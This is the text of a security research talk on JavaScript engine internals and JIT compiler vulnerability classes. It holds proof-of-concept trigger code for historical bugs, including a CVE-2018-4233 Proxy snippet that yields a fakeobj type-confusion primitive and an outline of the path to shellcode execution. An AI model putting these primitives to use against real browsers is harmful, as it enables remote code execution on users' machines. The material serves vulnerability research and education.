Attacking Client-Side JIT Compilers (v2)
Samuel Groß (@5aelo)
A JavaScript Engine

Parser

JIT Compiler

Interpreter

Runtime

Garbage Collector
A JavaScript Engine

• Parser: entrypoint for script execution, usually emits custom bytecode

• Bytecode then consumed by interpreter or JIT compiler

• Executing code interacts with the runtime which defines the representation of various data structures, provides built-in functions and objects, etc.

• Garbage collector required to deallocate memory
A JavaScript Engine

- Parser: entrypoint for script execution, usually emits custom bytecode
- Bytecode then consumed by interpreter or JIT compiler

- Garbage collector required to deallocate memory
A JavaScript Engine

- Parser: entrypoint for script execution, usually emits custom bytecode
- Bytecode then consumed by interpreter or JIT compiler
- Executing code interacts with the runtime which defines the representation of various data structures, provides builtin functions and objects, etc.
A JavaScript Engine

• Parser: entrypoint for script execution, usually emits custom bytecode

• Bytecode then consumed by interpreter or JIT compiler

• Executing code interacts with the runtime which defines the representation of various data structures, provides builtin functions and objects, etc.

• Garbage collector required to deallocate memory
1. Background: Runtime
   - Builtins and JSObjects

2. JIT Compiler Internals
   - Problem: missing type information
   - Solution: "speculative" JIT

3. JIT Compiler Attack Surface
   - Different vulnerability categories

4. CVE-2018-4233 (Pwn2Own)
   - Typical JIT Bug in JavaScriptCore
The Runtime
Builtins

A "builtin": a function exposed to script which is implemented by the engine itself*

```javascript
var a = [1, 2, 3];
a.slice(1, 2);
// [2]
```

* definition for this talk
Builtins

A "builtin": a function exposed to script which is implemented by the engine itself*

```javascript
var a = [1, 2, 3];
a.slice(1, 2);
// [ 2 ]
```

Engine can implement builtins in various ways: in C++, in JavaScript, in assembly, in its JIT compiler IL (v8 turbofan builtins), ...

* definition for this talk
Builtins

```javascript
var a = [ 1, 2, 3 ];
a.slice(1, 2);
// [ 2 ]
```

```c
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec) {
    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    ...
}
```
Builtins

Builtins historically the source of many bugs
• Unexpected callbacks
• Integer related issues
• Use-after-frees (missing GC rooting)
• ...

```javascript
var a = [ 1, 2, 3 ];
a.slice(1, 2);
// [ 2 ]
```

```c++
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec) {
    VM& vm = exec->vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
    ...
}
```
• JavaScript is *dynamically typed*

  => Type information stored in runtime values, not compile time variables

• Challenge: efficiently store type information and value information together

• Solution: clever hacks to fit both into 8 bytes (a single CPU register)
JSValues

• Common approaches: NaN-boxing and pointer tagging

• For this talk we'll use the pointer tagging scheme from v8:
  • 1-bit cleared: it's a "SMI", a SMall Integer (32 bits)
  • 1-bit set: it's a pointer to some object, can be dereferenced

\[
\begin{align*}
0x0000004200000000 & \quad 0x00000e0359b8e611 \\
\text{1-bit cleared } & \Rightarrow \text{ a SMI} \\
\text{Payload in the upper 32 bits (0x42)} & \\
\text{1-bit set } & \Rightarrow \text{ a pointer to an object located} \\
\text{at address 0x00000e0359b8e610} & 
\end{align*}
\]
JSObjects

```javascript
var p1 = { x: 0x41, y: 0x42 };
```
var p1 = { x: 0x41, y: 0x42 };
var p1 = { x: 0x41, y: 0x42 };
JSObjects

Idea: separate property names from property values

*Shape* object stores property names and their location in the object

```javascript
var o = {
    x: 0x41,
    y: 0x42
};
```

* Abstract name used for this talk, does not refer to a specific implementation
JSObjects

Idea: separate property names from property values

*Shape* object stores property names and their location in the object

```javascript
var o = {
  x: 0x41,
  y: 0x42
};
```

Object 1

- properties:
  "x" -> 0x41
  "y" -> 0x42

* Abstract name used for this talk, does not refer to a specific implementation
Idea: separate property names from property values

Shape* object stores property names and their location in the object

```javascript
var o = {
  x: 0x41,
  y: 0x42
};
```

* Abstract name used for this talk, does not refer to a specific implementation
var o1 = {
  x: 0x41,
  y: 0x42
};
Benefit: Shape Sharing

```javascript
var o1 = {
  x: 0x41,
  y: 0x42
};
var o2 = {
  x: 0x1337,
  y: 0x1338
};
```

**Shape 1**
- properties:
  "x" -> slot 0
  "y" -> slot 1

**o1**
- shape
- slots:
  0: 0x41
  1: 0x42

**o2**
- shape
- slots:
  0: 0x1337
  1: 0x1338
Benefit: Shape Sharing

Shape is shared between similar objects!

var o1 = {
  x: 0x41,
  y: 0x42
};

var o2 = {
  x: 0x1337,
  y: 0x1338
};
Benefit: Shape Sharing

```javascript
var o1 = {
  x: 0x41,
  y: 0x42
};
var o2 = {
  x: 0x1337,
  y: 0x1338
};
o1.z = 0x43;
```
Benefit: Shape Sharing

Shapes are immutable so a new Shape is created!

```javascript
var o1 = {
  x: 0x41,
  y: 0x42
};
var o2 = {
  x: 0x1337,
  y: 0x1338
};
o1.z = 0x43;
```

Shape 1
- properties:
  "x" -> slot 0
  "y" -> slot 1

```
o1
  - shape
  - slots:
    0: 0x41
    1: 0x42
    2: 0x43
```

Shape 2
- properties:
  "x" -> slot 0
  "y" -> slot 1
  "z" -> slot 2

```
o2
  - shape
  - slots:
    0: 0x1337
    1: 0x1338
```

Shapes are immutable so a new Shape is created!
Benefit: Shape Sharing

```
var o1 = {
  x: 0x41,
  y: 0x42
};
var o2 = {
  x: 0x1337,
  y: 0x1338
};
o1.z = 0x43;
o2.z = 0x1339;
```

Shape 2
- properties:
  "x" -> slot 0
  "y" -> slot 1
  "z" -> slot 2

- shape
- slots:
  0: 0x41
  1: 0x42
  2: 0x43

- shape
- slots:
  0: 0x1337
  1: 0x1338
  2: 0x1339
Object Example: v8

```javascript
var o = {
    x: 0x41,
    y: 0x42
};
o.z = 0x43;
o[0] = 0x1337;
o[1] = 0x1338;
```

Underlined: v8::Map pointer
Green: Inline properties
Red: Out-of-line Properties
Blue: Elements
Object Example: v8

```javascript
var o = {
  x: 0x41,
  y: 0x42
};
o.z = 0x43;
o[0] = 0x1337;
o[1] = 0x1338;
```

Underlined: v8::Map pointer
Green: Inline properties
Red: Out-of-line Properties
Blue: Elements
Object Example: v8

```javascript
var o = {
  x: 0x41,
  y: 0x42
};

o.z = 0x43;

o[0] = 0x1337;

o[1] = 0x1338;
```

(lldb) x/5gx 0xe0359b8e610
```
0xe0359b8e610: 0x000000e034a80d309 0x00000e0359b90610
0xe0359b8e620: 0x000000e0359b90699 0x0000004100000000
```

(lldb) x/3gx 0x00000e0359b90600
```
0xe0359b90600: 0x000000e034ee836f9 0x0000003000000000
```

Shape (called "Map" in v8)

Underlined: v8::Map pointer
Green: Inline properties
Red: Out-of-line Properties
Blue: Elements
Object Example: v8

```javascript
var o = {
  x: 0x41,
  y: 0x42
};
o.z = 0x43;
o[0] = 0x1337;
o[1] = 0x1338;
```

Underlined: v8::Map pointer
Green: Inline properties
Red: Out-of-line Properties
Blue: Elements
Summary Objects

In all major engines, a JavaScript object roughly consists of:

- A reference to a Shape and Group/Map/Structure/Type instance
  - Immutable and shared between similar objects
  - Stores name and location of properties, element kind, prototype, ...
    
    => "describes" the object
- Inline property slots
- Out-of-line property slots
- Out-of-line buffer for array elements
- Possibly additional, type-specific fields (e.g. data pointer in TypedArrays)
(Speculative) JIT Compilers
## Interpreter vs. JIT Compiler

<table>
<thead>
<tr>
<th></th>
<th>Interpreter</th>
<th>JIT Compiler</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Code Speed</strong></td>
<td>-</td>
<td>+</td>
</tr>
<tr>
<td><strong>Startup Time</strong></td>
<td>+</td>
<td>-</td>
</tr>
<tr>
<td><strong>Memory Footprint</strong></td>
<td>+</td>
<td>-</td>
</tr>
</tbody>
</table>

- Usually execution starts in the interpreter
- After a certain number of invocations a function becomes "hot" and is compiled to machine code
- Afterwards execution switches to the machine code instead of the interpreter
Introduction

How to compile this code?

```c
int add(int a, int b)
{
    return a + b;
}
```
Introduction

How to compile this code?

```c
int add(int a, int b) {
    return a + b;
}
```

; add(int, int):
    lea    eax, [rdi+rsi]
    ret

Easy:
- Know parameter types
- Know ABI

Try this at home: https://godbolt.org/
Introduction

How to compile this code?

```javascript
function add(a, b)
{
    return a + b;
}
```
Introduction

How to compile this code?

```javascript
function add(a, b)
{
    return a + b;
}
```

Hard:
- No idea about parameter types
- + Operator works differently for numbers, strings, objects, ...
+ Operator in JavaScript

1. Let \( lref \) be the result of evaluating AdditiveExpression.
2. Let \( lval \) be ? GetValue(\( lref \)).
3. Let \( rref \) be the result of evaluating MultiplicativeExpression.
4. Let \( rval \) be ? GetValue(\( rref \)).
5. Let \( lprim \) be ? ToPrimitive(\( lval \)).
6. Let \( rprim \) be ? ToPrimitive(\( rval \)).
7. If Type(\( lprim \)) is String or Type(\( rprim \)) is String, then
   a. Let \( lstr \) be ? ToString(\( lprim \)).
   b. Let \( rstr \) be ? ToString(\( rprim \)).
   c. Return the String that is the result of concatenating \( lstr \) and \( rstr \).
8. Let \( lnum \) be ? ToNumber(\( lprim \)).
9. Let \( rnum \) be ? ToNumber(\( rprim \)).
10. Return the result of applying the addition operation to \( lnum \) and \( rnum \). See the Note below 12.8.5.

Source: https://www.ecma-international.org/ecma-262/8.0/index.html#sec-addition-operator-plus
Introduction

How to compile this code?

```c
struct MyObj {
    int a, b;
};

int foo(struct MyObj* o) {
    return o->b;
}
```
Introduction

How to compile this code?

```c
struct MyObj {
    int a, b;
};

int foo(struct MyObj* o) {
    return o->b;
}
```

`; foo(struct MyObj*):`  
```c
    mov eax, DWORD PTR [rdi+4]
    ret
```

Easy:
- Know parameter type
- Know structure layout
Introduction

How to compile this code?

```javascript
function foo(o) {
  return o.b;
}
```
How to compile this code?

```javascript
function foo(o) {
    return o.b;
}
```

Hard:
- Don't know parameter type
- Don't know Shape of object
- Property could be stored inline, out-of-line, or on the prototype, it could be a getter or Proxy, ...
Introduction

Major challenge of (JIT) compiling dynamic languages: missing type information
Assumption: Known Types
Assumption: Known Types

```javascript
function add(a: Smi, b: Smi)
{
    return a + b;
}
```
Assumption: Known Types

function add(a: Smi, b: Smi)
{
    return a + b;
}

lea rax, [rdi+rsi]
jo bailout_overflow
ret
function add(a: Smi, b: Smi) {
    return a + b;
}

No integer overflows in JavaScript, so might need to bailout (mechanism to resume execution in a lower tier) and convert to doubles in the interpreter.
Assumption: Known Types

```javascript
function foo(o: MyObj)
{
    return o.b;
}
```
Assumption: Known Types

```c
mov rax, [rdi+0x20]
ret
```

```javascript
function foo(o: MyObj)
{
    return o.b;
}
```

Offset of inline slot 1
Obtaining Type Information

• Of course we don't know the argument types...

• However, by the time we JIT compile, we know the argument types of previous invocations
  • Can keep track the observed types in the interpreter or "baseline" JIT

• With that we can speculate that we will continue to see those types!
function add(a, b) {
    return a + b;
}

add(18, -2);
add(1, 3);
add(14, 5);
add(19, 32);
add(7, 42);
add(24, 96);
add(29, 0);
add(2, 9);
function add(a, b)
{
    return a + b;
}

add(18, -2);
add(19, 32);
add(1, 3);
add(7, 42);
add(14, 5);
add(2, 9);

Speculation:
add will always be called with integers (SMIs) as arguments
Code Generation?

- Have type speculations for all variables
- How to use that for JIT compilation?
Code Generation?

- Have type speculations for all variables
- How to use that for JIT compilation?

=> Speculation *guards* + code for known types

![Code Snippet]

```c
; Ensure is SMI
test rdi, 0x1
jnz bailout

; Ensure has expected Shape
cmp QWORD PTR [rdi], 0x12345601
jne bailout
```
Speculation Guards

```javascript
function add(a, b)
{
    return a + b;
}
```

Speculation: $a$ and $b$ are SMIs
Speculation Guards

```javascript
function add(a, b) {
    return a + b;
}
```

```assembly
; Ensure a and b are SMIs
test rdi, 0x1
jnz bailout_not_smi

test rsi, 0x1
jnz bailout_not_smi

; Perform operation for SMIs
lea rax, [rdi+rsi]
jo bailout_overflow
ret
```
Speculation Guards

```javascript
function foo(o)
{
    return o.b;
}
```

Speculation: \( o \) is an object with a specific Shape
Speculation Guards

function foo(o)
{
    return o.b;
}

Works well because Shapes are shared and immutable!
Speculation guards give us type information!
Typical JIT Compiler Pipeline

- Bytecode + Value Profiles
  - Graph Builder
  - (Graph-based) IL
    - Typer, Specializer
- Optimized Graph IL with Guards
  - Analyzers and Optimizers
  - Graph IL with Guards
    - Lowerer and Register Allocator
- Machine Code

Basically a bunch of node replacement operations...

At this point we basically have the missing type information :)

Similar to "classic" ahead-of-time compilers!
Challenge: missing type information

Solution:

1. Observe runtime behaviour in interpreter/baseline JIT
2. Speculate that same types will be seen in the future
3. Guard speculations with various types of runtime guards
   => Now we have type information
4. Optimize graph IL and emit machine code

Recommendation: use v8s "turbolizer" to visualize the compiler IL during the various optimization phases:

```javascript
function foo(o) {
    return o.b;
}
```
JIT Compiler Attack Surface
1. Memory corruption bugs in the compiler
2. "Classic" bugs in slow-path handlers
3. Bugs in code generators
4. Incorrect optimizations
5. Everything else

"Classic" Bugs

JIT compiler specific bugs
Outline

1. Memory corruption bugs in the compiler
2. "Classic" bugs in slow-path handlers
3. Bugs in code generators
4. Incorrect optimizations
5. Everything else

Crash at compile time

Crash at run time
Memory Corruption Bugs in the Compiler

Popular JavaScript engines all written in C++

=> JIT compiler also written in C/C++

=> Can contain all the classic C++ bugs: overflows, OOB access, UAF, ...

=> Not specific to JIT compilers

=> Not focus of this talk
"Slow-path" Handlers

Common pattern in JIT compiler code (found in the lowering phases):

```c
void compileOperationXYZ() {
    ...;
    if (canSpecialize) {
        // Emit specialized machine code
        ...
    } else {
        // Emit call to generic handler function
        emitRuntimeCall(slowPathOperationXYZ);
    }
}
```
Bugs in "slow path" Handlers

Common pattern in JIT compiler code (found in the lowering phases):

```c
void compileOperationXYZ() {
    ...
    if (canSpecialize) {
        // Emit specialized machine code
        ...
    } else {
        // Emit call to generic handler function
        emitRuntimeCall(slowPathOperationXYZ);
    }
}
```

This is just a "builtin" with the same potential for bugs!
Example: CVE-2017-2536

- Classic integer overflow bug in JavaScriptCore when doing spreading:
  1. Compute result length as 32-bit integer
  2. Allocate that much memory
  3. Copy the elements into the allocated buffer

- Bug present in 3 different execution tiers: interpreter, DFG JIT, and FTL JIT

```javascript
let a = new Array(0x7fffffff);
// Total number of elements in hax:
// 2 + 0x7fffffff * 2 = 0x100000000
let hax = [13, 37, ...a, ...a];
```

See https://phoenhex.re/2017-06-02/arrayspread
The new array with spread operation needs to check for length overflows.  
https://bugs.webkit.org/show_bug.cgi?id=169780  
<rdar://problem/31072182>

```cpp
JIT_OPERATION operationNewArrayWithSpreadSlow(ExecState* exec, ...)  
    auto scope = DECLARE_THROW_SCOPE(vm);
    
    EncodedJSValue* values = static_cast<EncodedJSValue*>(buffer);
    -    unsigned length = 0;
    +    Checked<unsigned, RecordOverflow> checkedLength = 0;
    for (unsigned i = 0; i < numItems; i++) {
        ...
    }
```
Code Generators

Common pattern in JIT compiler code (found in the lowering phases):

```c
void compileOperationXYZ() {
    ...;
    if (canSpecialize) {
        // Emit specialized machine code
        Reg out = allocRegister();
        emitIntMul(in1, in2, out);
        emitJumpIfOverflow(bailout);
        setResult(out);
    } else {
        // Emit call to generic handler function
        ...;
    }
}
```
Example: Number.isInteger DFG JIT

case NumberIsInteger: {
    JSValueOperand value(this, node->child1());
    GPRTemporary result(this, Reuse, value);

    FPRTemporary temp1(this);
    FPRTemporary temp2(this);

    JSValueRegs valueRegs = JSValueRegs(value.gpr());
    GPRReg resultGPR = value.gpr();

    ...;

    m_jit.move(TrustedImm32(ValueTrue), resultGPR);
    ...;
Example: Number.isInteger DFG JIT

case NumberIsInteger: {
    JSValueOperand value(this, node->child1());
    GPRTemporary result(this, Reuse, value);

    FPRTemporary temp1(this);
    FPRTemporary temp2(this);

    JSValueRegs valueRegs = JSValueRegs(value.gpr());
    GPRReg resultGPR = value.gpr();

    ...;

    m_jit.move(TrustedImm32(ValueTrue), resultGPR);
    ...;

    Should've been result.gpr() ...
}

Report will eventually be visible here: https://bugs.webkit.org/show_bug.cgi?id=185328
Other Examples

• Again CVE-2017-2536 (JSC array spreading integer overflow)
  • Also missed an overflow check in generated machine code on fast path

• Similar bugs found by Project Zero, e.g. issue 1380
  ("Microsoft Edge: Chakra: JIT: Missing Integer Overflow check in
  Lowerer::LowerSetConcatStrMultiItem")

• Similar kinds of bugs happening in v8 now with turbofan builtins, e.g.
  https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/

• Really not much different from "classic" bugs
Optimization

A transformation of code that isn't required for correctness but improves code speed

```javascript
const PI = 3.14;
function circumference(r) {
  return 2 * PI * r;
}
```

Constant Folding

```javascript
function circumference(r) {
  return 6.28 * r;
}
```
Compiler Optimizations

- Loop-Invariant Code Motion
- Bounds-Check Elimination
- Constant Folding
- Loop Unrolling
- Dead Code Elimination
- Inlining

- Common Subexpression Elimination
- Instruction Scheduling
- Escape Analysis
- Redundancy Elimination
- Register Allocation
- …
Compiler Optimizations

- Loop-Invariant Code Motion
- **Bounds-Check Elimination**
- Constant Folding
- Loop Unrolling
- Dead Code Elimination
- Inlining

- Common Subexpression Elimination
- Instruction Scheduling
- Escape Analysis
- **Redundancy Elimination**
- Register Allocation
- …
Bounds-Checks

```javascript
var buf = new Uint8Array(0x1000);
function foo(i) {
  return buf[i];
}

for (var i = 0; i < 1000; i++)
  foo(i);
```
var buf = new Uint8Array(0x1000);

function foo(i) {
    return buf[i];
}

for (var i = 0; i < 1000; i++)
    foo(i);
Bounds-Check Elimination

```javascript
var buf = new Uint8Array(0x1000);
function foo(i) {
    i = i & 0xffff;
    return buf[i];
}

for (var i = 0; i < 1000; i++)
    foo(i);
```
Bounds-Check Elimination

- Goal: identify and remove unnecessary bounds checks
- Idea: perform range analysis on integer values to determine the range of possible values for indices and array lengths
- If we can prove that an index will always be in bounds we can remove the bounds check

```javascript
code example
var buf = new Uint8Array(0x1000);
function foo(i) {
  i = i & 0xffff;
  return buf[i];
}
for (var i = 0; i < 1000; i++)
  foo(i);
```
Bounds-Check Elimination

```javascript
var buf = new Uint8Array(0x1000);
function foo(i) {
    i = i & 0xffff;
    return buf[i];
}
for (var i = 0; i < 1000; i++)
    foo(i);
```
Bounds-Check Elimination

Index will always be in bounds

var buf = new Uint8Array(0x1000);
function foo(i) {
  i = i & 0xffff;
  return buf[i];
}

for (var i = 0; i < 1000; i++)
  foo(i);

Can be eliminated during lowering
Bounds-Check Elimination Bugs

Bug: discrepancy between value range as computed by the compiler and actual value range

- Due to integer related issues (signedness, overflows, ...)
- Due to incorrect "emulation" of the IL when computing integer ranges

Bounds-Check Elimination Bugs

Type* Typer::Visitor::JSCallTyper(Type* fun) {
  ...;
  switch (function->builtin_function_id()) {
    ...;
    case kStringIndexOf:
    case kStringLastIndexOf:
      return Range(-1.0, String::kMaxLength - 1.0);
    ...;

```cpp
str.lastIndexOf(searchValue[, fromIndex])
```
Bounds-Check Elimination Bugs

let s = "abcd";
// 4

s.lastIndexOf(""); // 4

Type* Typer::Visitor::JSCallTyper(Type* fun) {
  ...
  switch (function->builtin_function_id()) {
    ...
    case kStringIndexOf:
    case kStringLastIndexOf:
      return Range(-1.0, String::kMaxLength -1.0);
    ...
  }

Return value

The index of the first occurrence of searchValue, or -1 if not found.
An empty string searchValue will match at any index between 0 and str.length
Bounds-Check Elimination Bugs

```javascript
var maxLength = 268435440; // = 2**28 - 16
var buf = new Uint8Array(maxLength + 1);
function hax() {
  var s = "A".repeat(maxLength);
  // Compiler: i = Range(-1, maxLength - 1)
  // Reality:  i = Range(-1, maxLength)
  var i = s.lastIndexOf("");
  // Compiler: i = Range(0, maxLength)
  // Reality:  i = Range(0, maxLength + 1)
  i += 1;
  // Compiler: Bounds-check removed
  // Reality: OOB access!
  return buf[i];
}
```
Bounds-Check Elimination Bugs

Other examples:


- Bugs found by Project Zero, e.g. issue 1390 ("Microsoft Edge: Chakra: JIT: Incorrect bounds calculation")
Compiler Optimizations

- Loop Invariant Code Motion
- Bounds-Check Elimination
- Constant Folding
- Loop Unrolling
- Dead Code Elimination
- Inlining

- Common Subexpression Elimination
- Instruction Scheduling
- Escape Analysis
- **Redundancy Elimination**
- Register Allocation
- …
Redundancy

function foo(o) {
    return o.a + o.b;
}
Redundancy

```javascript
function foo(o) {
    return o.a + o.b;
}
```

```assembly
/test rdi, 0x1
/jz bailout_not_object
/cmp QWORD PTR [rdi], 0x12345
/jne bailout_wrong_shape
/mov rax, [rdi+0x18]
/test rdi, 0x1
/jz bailout_not_object
/cmp QWORD PTR [rdi], 0x12345
/jne bailout_wrong_shape
/add rax, [rdi+0x20]
/jo bailout_overflow
```
Redundancy

function foo(o) {
    return o.a + o.b;
}

These guards are redundant...

test rdi, 0x1
jz bailout_not_object
cmp QWORD PTR [rdi], 0x12345
jne bailout_wrong_shape
mov rax, [rdi+0x18]

test rdi, 0x1
jz bailout_not_object
cmp QWORD PTR [rdi], 0x12345
jne bailout_wrong_shape
add rax, [rdi+0x20]
jo bailout_overflow

ret
Redundancy

```javascript
function foo(o) {
  return o.a + o.b;
}
```

```assembly
    test    rdi, 0x1
    jz      bailout_not_object
    cmp     QWORD PTR [rdi], 0x12345
    jne     bailout_wrong_shape
    mov     rax, [rdi+0x18]
    add     rax, [rdi+0x20]
    jo      bailout_overflow
```

Redundancy Elimination

- Idea: determine duplicate guards on same CFG paths
- Then only keep the first guard of each type
Redundancy Elimination

- Idea: determine duplicate guards on same CFG paths
- Then only keep the first guard of each type
- Requirement: track side-effects of operations

Calling a function can have all kinds of side effects...

```javascript
function foo(o, f) {
    var a = o.a;
    f();
    return a + o.b;
}
```
Redundancy Elimination

```javascript
function foo(o, f) {
    var a = o.a;
    f();
    return a + o.b;
}
```
Redundancy Elimination

function foo(o, f) {
    var a = o.a;
    f();
    return a + o.b;
}

test rbx, 0x1
jz bailout_not_object
cmp QWORD PTR [rbx], 0x12345
jne bailout_wrong_shape
mov r12, [rbx+0x18]
call call_arg2_helper

add r12, [rbx+0x20]
Redundancy Elimination

```javascript
function foo(o, f) {
    var a = o.a;
    f();
    return a + o.b;
}

foo(o, () => {
    delete o.b;
});

Shape has changed as result of an effectful operation ...
```

test rbx, 0x1
jz bailout_not_object
cmp QWORD PTR [rbx], 0x12345
jne bailout_wrong_shape
mov r12, [rbx+0x18]
call call_arg2_helper
add r12, [rbx+0x20]
Redundancy Elimination

function foo(o, f) {
  var a = o.a;
  f();
  return a + o.b;
}
foo(o, () => {
  delete o.b;
});

... as such we must keep the Shape guard here*

test rbx, 0x1
jz bailout_not_object
cmp QWORD PTR [rbx], 0x12345
jne bailout_wrong_shape
mov r12, [rbx+0x18]
call call_arg2_helper

cmp QWORD PTR [rbx], 0x12345
jne bailout_wrong_shape
add r12, [rbx+0x20]

* However the argument cannot turn into a SMI so we can still remove the first guard
Redundancy Elimination

Requirement for correct redundancy elimination:

Precise modelling of side-effects of every operation in the IL

Can be quite hard, JavaScript has callbacks everywhere...

=> Source of bugs: incorrect modelling of side-effects

Exploitation: modify Shape of an object in the callback for a type confusion, for example by changing the *element kind* of an array
Intermezzo: Unboxed Arrays

• JavaScript engines optimize arrays in different ways
• One common optimization: store doubles "unboxed" instead of as JSValues
• Information about element kind also stored in Shape

```javascript
var a = [0.1, 0.2, 0.3, 0.4];
```

Values stored as raw doubles, not JSValues!

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1a6bafa8f9e8</td>
<td>0x3fb999999999999a 0x3fc999999999999a</td>
</tr>
<tr>
<td>0x1a6bafa8f9f8</td>
<td>0x3fd3333333333333 0x3fd999999999999a</td>
</tr>
</tbody>
</table>

= 0.3  
= 0.4
Intermezzo: Element Kind Transitions

```javascript
var a = [0.1, 0.2, 0.3, 0.4];

a[0] = {};
```
Intermezzo: Element Kind Transitions

```javascript
var a = [0.1, 0.2, 0.3, 0.4];

a[0] = {};
```

Unboxed doubles

0x1a6bafa8f9e8: 0x3fb99999999999999999999999999999a 0x3fc99999999999999999999999999999a
0x1a6bafa8f9f8: 0x3fd333333333333333333333333333333 0x3fd99999999999999999999999999999a
Intermezzo: Element Kind Transitions

```javascript
var a = [0.1, 0.2, 0.3, 0.4];

a[0] = {};
```

Unboxed doubles

```
0x1a6bafa8f9e8: 0x3fb999999999999a 0x3fc9999999999999a
0x1a6bafa8f9f8: 0x3fd3333333333333 0x3fd99999999999999a
```

JSValues (= tagged pointers)

```
0x1a6bafa8fac0: 0x00001a6bafa8fa09 0x00001a6bafa8faf1
0x1a6bafa8fad0: 0x00001a6bafa8fb01 0x00001a6bafa8fb11
```

```javascript
0x1a6bafa8fb10: 0x00001a6be1102641 0x3fd99999999999999a
```

See also https://v8project.blogspot.com/2017/09/elements-kinds-in-v8.html
Redundancy Elimination Exploitation

Common trick to exploit incorrect side-effect modelling:

1. Optimize function to operate on an array with unboxed doubles
2. Perform element transition of argument array in unexpected callback
3. JIT function still thinks array contains unboxed doubles

=> type confusion!

```javascript
function vuln(a, unexpected_callback) {
  var x = a[1];
  unexpected_callback();
  // Here shape guard was removed...
  return a[0];
}

for (var i = 0; i < 100000; i++)
  vuln([0.1, 0.2, 0.3], () => {});

var a = [0.1, 0.2, 0.3];
var leakme = {};
vuln(a, () => {
  a[0] = leakme;
});
// 1.3826665831728e-310

This is the address of leakme interpreted as double
```
Redundancy Elimination Bugs


- Bugs found by Project Zero, e.g. issue 1334 ("Microsoft Edge: Chakra: JIT: RegexHelper::StringReplace must call the callback function with updating ImplicitCallFlags")

- And CVE-2018-4233 in WebKit, used during Pwn2Own 2018...
CVE-2018-4233 (Pwn2Own '18)
CVE-2018-4233 - Background

- JSC also uses graph-based IL ("DFG" - DataFlowGraph)
- JIT compiler does precise modelling of side effects of every operation
  - To remove redundant guards
  - Done by AbstractInterpreter
- Tracks reads/writes to stack, heap, execution of other JavaScript code, ...

Causes compiler to discard all information about the shapes of objects and thus keep following shape guards

```
case Call:
case ...
clobberWorld();
makeHeapTopForNode(node);
break;
```
CVE-2018-4233 - Bug

```java
  case CreateThis:
    setTypeForNode(node, SpecFinalObject);
    break;
```

*No clobberWorld() means: engine assumes that CreateThis will be side-effect free*
CVE-2018-4233 - Bug

• Bug: CreateThis operation can run arbitrary JavaScript...

• Reason: during CreateThis, the engine has to fetch the .prototype property of the constructor

  => Can be intercepted if constructor is a Proxy with a handler for get

```javascript
function C() {
  this.x = 42;
}

let handler = {
  get(target, prop) {
    console.log("Callback!");
    return target[prop];
  }
};

let PC = new Proxy(C, handler);

new PC();
// Callback!
```
function Foo(arg) {
    this.x = arg[0];
}

CVE-2018-4233 - Bug
CVE-2018-4233 - Bug

function Foo(arg) {
    this.x = arg[0];
}

DFG for Foo:

v0 = CreateThis
StructureCheck a0, 0x12..
v1 = LoadElem a0, 0
StoreProp v0, v1, 'x'

Expected Shape (called "Structure" in JSC)
function Foo(arg) {
    this.x = arg[0];
}

DFG for Foo:
StructureCheck a0, 0x12..
v0 = CreateThis
StructureCheck a0, 0x12..
v1 = LoadElem a0, 0
StoreProp v0, v1, 'x'

DFG for Foo:
v0 = CreateThis
StructureCheck a0, 0x12..
v1 = LoadElem a0, 0
StoreProp v0, v1, 'x'
function Foo(arg) {
    this.x = arg[0];
}

DFG for Foo:
StructureCheck a0, 0x12..
v0 = CreateThis
StructureCheck a0, 0x12..
v1 = LoadElem a0, 0
StoreProp v0, v1, 'x'

Expected Shape (called "Structure" in JSC)
CVE-2018-4233 - Bug

function Foo(arg) {
    this.x = arg[0];
}

DFG for Foo:
    StructureCheck a0, 0x12..
    v0 = CreateThis
    StructureCheck a0, 0x12..
    v1 = LoadElem a0, 0
    StoreProp v0, v1, 'x'

Graph Building
Check Hoisting
Redundancy Elimination

Expected Shape
(called "Structure" in JSC)
CVE-2018-4233 - Exploitation

Abuse element kind for a type confusion between double and JSValue

=> Directly leads to `addrof` and `fakeobj` primitive

=> Exploitation then analogue to exploit for CVE-2016-4622:

Fake TypedArray -> Arbitrary Read/Write -> Shellcode execution
function Hax(a, v) {
    a[0] = v;
}

var trigger = false;
var arg = null;
var handler = {
    get(target, propname) {
        if (trigger) arg[0] = {};
        return target[propname];
    },
};

var HaxProxy = new Proxy(Hax, handler);

for (var i = 0; i < 100000; i++)
    new HaxProxy([1.1, 2.2, 3.3], 13.37);

trigger = true;
arg = [1.1, 2.2, 3.3];
new HaxProxy(arg, 3.54484805889626e-310);
print(arg[0]);
function Hax(a, v) {
    a[0] = v;
}

var trigger = false;
var arg = null;
var handler = {
    get(target, propname) {
        if (trigger) arg[0] = {};
        return target[propname];
    },
};

var HaxProxy = new Proxy(Hax, handler);

for (var i = 0; i < 100000; i++)
    new HaxProxy([1.1, 2.2, 3.3], 13.37);

trigger = true;
arg = [1.1, 2.2, 3.3];
new HaxProxy(arg, 3.54484805889626e-310);
print(arg[0]);

This code yields the fakeobj primitive
To get `addrof` let `Hax` load an element from the array instead of storing one

Demo

https://youtu.be/63MKVqdEJ6k
Everything Else

• Haven't covered everything of course...
• Lot's of other complex mechanisms required for a working JIT compiler
  • Deoptimization/Bailouts
  • On-Stack-Replacement
  • Register Allocator
  • Inline-Caches
  • ...
• All have potential for bugs, enjoy finding them :)

```javascript
function add(a, b) {
    return a + b;
}

for (var i = 0; i < 1000; i++)
    add(i, 42);

add({}, "foobar");
// Bailout! Need to recover
// local variables and
// continue execution in the
// interpreter...
```

> d8 --allow-natives-syntax --trace-deopt deopt.js
[deoptimizing (DEOPT eager): ...]
;;; deoptimize at <deopt.js:2:14>, not a Smi
Summary

• Type speculations + runtime guards to compensate for dynamic typing

• Complex mechanisms and optimizations, potential for bugs

• Bugs often powerful, convenient to exploit

• Performance vs. Security
Some Further References

Concepts:
- https://mathiasbynens.be/notes/shapes-ics
- https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8

WebKit/JavaScriptCore:
- https://webkit.org/blog/5852/introducing-the-b3-jit-compiler/
- https://webkit.org/blog/3362/introducing-the-webkit-ftl-jit/

Chrome/v8:
- https://github.com/v8/v8/wiki/TurboFan

Firefox/Spidermonkey:
